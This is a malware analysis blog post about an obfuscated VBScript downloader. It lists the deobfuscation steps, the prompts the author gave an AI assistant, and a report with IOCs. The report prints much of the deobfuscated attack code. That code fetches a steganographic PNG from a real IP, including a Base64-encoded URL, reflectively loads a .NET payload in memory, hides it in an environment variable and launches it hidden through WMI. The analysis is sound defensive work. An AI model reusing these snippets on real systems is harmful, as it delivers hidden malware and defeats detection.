Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Obfuscation

There were various forms of obfuscation used in the VBScript.

synchronously = synchronously & "" & vetoing(vetoing("޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»","޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»",""),"޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»","޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»")
synchronously = CStr(synchronously & vetoing(vetoing("޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»","޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»",""),"޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»","޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»"))
blubber = "޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»$cevapcici޵ᾡᕧై...
blubber = "޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»$cevapcici޵ᾡᕧై...
blubber = blubber & "޵ᾡᕧై᪝ഘ🦣⭁...
blubber = "޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»$cevapcici޵ᾡᕧై...
blubber = blubber & "޵ᾡᕧై᪝ഘ🦣⭁...
...
prostatotomies = Split(blubber, "޵ᾡᕧై᪝ഘ🦣⭁⩪⩣➜ΛՐ┶»")
hills = ""
For asepta = 0 To UBound(prostatotomies)
hills = hills & prostatotomies(asepta)
Next

Deobfuscation

Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69.vbs --output C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass1.vbs --aggressive
{"changed":3615,"input_bytes":920239,"output_bytes":38155,"output_path":"C:\\Users\\Ashura\\Desktop\\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass1.vbs"}

> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass1.vbs --output C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass2.vbs
{"changed":22,"substituted_reads":22,"input_bytes":38155,"output_bytes":313184,"output_path":"C:\\Users\\Ashura\\Desktop\\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass2.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass2.vbs --output C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass3.vbs
{"changed":18,"input_bytes":313184,"output_bytes":312980,"output_path":"C:\\Users\\Ashura\\Desktop\\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass3.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass3.vbs --output C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass4.vbs
{"changed":22,"input_bytes":312980,"output_bytes":37537,"output_path":"C:\\Users\\Ashura\\Desktop\\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass4.vbs"}

> python .\vbs_fold_split_calls.py --input C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass4.vbs --output C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass5.vbs
{"changed":5,"input_bytes":37537,"output_bytes":6679,"output_path":"C:\\Users\\Ashura\\Desktop\\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass5.vbs"}

> python .\vbs_fold_array_join_loops.py --input C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass5.vbs --output C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass6.vbs
{"changed":5,"input_bytes":6679,"output_bytes":8497,"output_path":"C:\\Users\\Ashura\\Desktop\\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass6.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass6.vbs --output C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass7.vbs
{"changed":6,"input_bytes":8497,"output_bytes":2890,"output_path":"C:\\Users\\Ashura\\Desktop\\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass7.vbs"}

Functionality

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\57d14ce252e67ef610ff59b84321808207c8903fcce44072de7e2cad4742fd69_pass7.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    A[VBS script starts, errors suppressed] --> B[Assemble the malicious PowerShell logic as a text string]
    B --> C[Stage that script inside a user environment variable]
    C --> D[Build a launch command that re-expands the environment variable, keeping the payload off the command line]
    D --> E[Launch PowerShell hidden, via WMI process creation]
    E --> F[Decode an obfuscated C2 URL]
    F --> G[Download a PNG image from 133.18.106.222/DV/ugo_050448.png with a spoofed browser User-Agent]
    G --> H{Hidden payload markers found in the image?}
    H -- No --> I[Silently exit]
    H -- Yes --> J[Extract the text between the hidden markers]
    J --> K[Reverse the text and undo a character substitution]
    K --> L[Base64-decode the result into a .NET assembly]
    L --> M[Reflectively load the assembly directly into memory, no file written to disk]
    M --> N[Invoke a method inside the loaded assembly, passing an encrypted configuration array]
    N --> O[Second-stage payload executes in memory, parented under the WMI provider process]

Report

Executive Summary

This VBScript is a small, single-stage downloader whose entire purpose is to fetch and run a second-stage .NET payload in memory, while actively evading common detection and logging mechanisms. It does not carry the final malware payload itself — it is purely delivery infrastructure.

At a high level, the script:

  1. Builds a PowerShell script (as a string) that downloads a PNG image from an attacker-controlled IP address, extracts a hidden payload smuggled inside the image’s bytes (steganography), decodes it, and reflectively loads it as a .NET assembly directly into memory — no file is ever written to disk.
  2. Instead of passing that PowerShell code on a command line (where security tooling would log it), it stashes the entire script inside a user environment variable and has PowerShell pull it back out with Invoke-Expression $env:<variable> at runtime.
  3. Instead of launching PowerShell the normal way, it uses WMI (Win32_Process.Create) with the window hidden, so the resulting process is spawned as a child of the WMI provider service rather than of the script host — breaking the parent-child process chain that many detection rules rely on.

Details

Initial setup and error suppression
On Error Resume Next
Set miscategorising = CreateObject("Wscript.Shell")
Set dejunked = miscategorising.Environment("User")

The script begins by suppressing all runtime errors (On Error Resume Next — a common trick so that a failed step, e.g. a blocked network call, doesn’t pop an error dialog that would tip off the victim) and creates a WScript.Shell object, from which it grabs a handle to the current user’s environment variable block. This handle is used later to stash the payload.

Payload URL retrieval (obfuscated)
$cevapcici=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADMAMwAuADEAOAAuADEAMAA2AC4AMgAyADIALwBEAFYALwB1AGcAbwBfADAANQAwADQANAA4AC4AcABuAGcA'));

The URL to fetch isn’t present in the script as plain text — it’s Base64 inside a UTF-16LE (Unicode) blob, a light obfuscation that defeats simple plaintext string scans of the script for http://. Decoded, this resolves to:

http://133.18.106.222/DV/ugo_050448.png
Download disguised as an image fetch
$hickock=New-Object Net.WebClient;
$hickock.Headers.Add('User-Agent','Mozilla/5.0');
$zoophorous=$hickock.DownloadData($cevapcici);
$olfact=[Text.Encoding]::UTF8.GetString($zoophorous);

A .NET WebClient downloads the raw bytes of ugo_050448.png, spoofing a generic browser User-Agent header so the request looks like ordinary web traffic rather than a scripted download. The response — which is a real, renderable PNG on the outside — is then read as raw text, because the actual payload is hidden in the file’s bytes, not its pixels (a polyglot/appended- data steganography technique, not pixel-level LSB steganography).

Extracting the hidden payload from the image
$playact='IN-'; $armeniaca='-in1';
$streptothricin=$olfact.IndexOf($playact);
$pajero=$olfact.LastIndexOf($armeniaca);
if($streptothricin -eq -1 -or $pajero -eq -1){return};
$beeswax=$olfact.Substring($olfact.IndexOf($playact)+$playact.Length, $pajero-($olfact.IndexOf($playact)+$playact.Length));
$ladleful=$beeswax.Replace('#','A').ToCharArray();
[Array]::Reverse($ladleful);
$straitforward=$ladleful -join '';
[byte[]]$hobblingly=[Convert]::FromBase64String($straitforward);

The script searches the downloaded PNG’s text content for two custom marker strings, IN- and -in1, and pulls out everything in between. That substring then goes through two more obfuscation-reversal steps before it’s usable: every # character is swapped back to A (undoing a simple substitution the attacker applied to avoid the string looking like clean Base64), and the whole character sequence is reversed (the payload is stored backwards inside the image). Only after both transformations is the result a valid Base64 string, which is then decoded into a raw byte array — this byte array is a .NET assembly (DLL/EXE).

If either marker is missing (e.g. the C2 server is down or serves a decoy image), the script silently exits (return) rather than erroring.

Reflective, in-memory loading of the .NET payload
$entrenchment=[AppDomain]::('Cu'+'rrentDomain').GetType().GetMethod('Lo'+'ad', [byte[]]);
$polyalkylimide=$entrenchment.Invoke([AppDomain]::('Cu'+'rrentDomain'), (,$hobblingly));

Rather than writing the decoded assembly to disk and executing it (which would leave a file for AV to scan), the script uses .NET reflection to call AppDomain.CurrentDomain.Load(byte[]) directly — loading the assembly straight into the PowerShell process’s memory. Even the method/property names CurrentDomain and Load are split into string fragments ('Cu'+'rrentDomain', 'Lo'+'ad') and re-concatenated at runtime, a trick aimed at defeating static signatures that look for those literal strings.

$graymalkin=('LiwhhCnEt5HECVKPKs1Q7ZPR0oozeCxRsV7C12ZyM5BkMO/aaAH/IxmAfLdrN9KdsVrAGlGQrrenv0jp3yp5JQ==', ... 18 entries total, several empty ...);

try{$basiventrale=$polyalkylimide.GetType('OtnmpxnddVnptbN.mpxnddVn'); $galactotherapy=$basiventrale.GetMethod('Otnmpxn'); $galactotherapy.Invoke($null,[object[]]$graymalkin)}catch{}

Once loaded, the script again uses reflection to pull a specific class and static method out of the newly loaded assembly and calls it, passing an array of 18 Base64-looking strings as arguments. The whole call is wrapped in try{...}catch{}, so any failure (e.g. the loaded assembly rejecting a malformed argument, or running in a sandbox that trips an anti-analysis check inside it) fails silently.

Staging the payload in an environment variable (command-line evasion)
blubber = hills
dejunked("sassolin") = blubber
parapegm = "powershell.exe -NoProfile -Command ""Invoke-Expression $env:sassolin"""

The entire PowerShell script built above (sections 2.2–2.5) is written into a user-scoped environment variable, then the launch command simply tells PowerShell to Invoke-Expression the contents of that variable. The practical effect: this technique hides the malicious payload from command-line telemetry (Sysmon Event ID 1, EDR command-line capture) and from the initial -Command block AMSI scan and script block log — all of which see only the benign-looking reference Invoke-Expression $env:sassolin. It is not a general AMSI bypass: the actual payload content is submitted to AMSI by Invoke-Expression at execution time and will be scanned.

Stealthy process launch via WMI
pedicels = "winmgmts:\\.\root\cimv2"
Set whomsoever = GetObject(pedicels)
northward = "Win32_ProcessStartup"
Set vortexlike = whomsoever.Get(northward)
Set mistrial = vortexlike.SpawnInstance_
mistrial.ShowWindow = 0
invariability = "Win32_Process"
Set antisemitism = whomsoever.Get(invariability)
amissibility = antisemitism.Create(parapegm, Null, mistrial, toxocampid)

Instead of the more common WScript.Shell.Run/.Exec, the script connects to the local WMI namespace (root\cimv2) and creates the PowerShell process via Win32_Process.Create, using a Win32_ProcessStartup object with ShowWindow = 0 so no console window ever appears to the victim. Using WMI for process creation is a known evasion technique: the resulting PowerShell process is spawned as a child of WmiPrvSE.exe (the WMI provider host) rather than of wscript.exe/cscript.exe, which defeats detection logic that specifically watches for wscript.exe/cscript.exe → powershell.exe parent-child relationships.


IOCs

Type Indicator Notes
IP address 133[.]18[.]106[.]222 Hardcoded C2 host contacted by the PowerShell downloader
URL hxxp://133[.]18[.]106[.]222/DV/ugo_050448[.]png Steganographic PNG carrying the second-stage .NET payload
File path/name pattern ugo_050448.png Staged payload filename on C2; downloaded to memory, not disk
String markers IN-, -in1 Custom delimiters used to locate the embedded payload inside the downloaded PNG’s bytes
HTTP header User-Agent: Mozilla/5.0 Spoofed generic UA used for the payload download request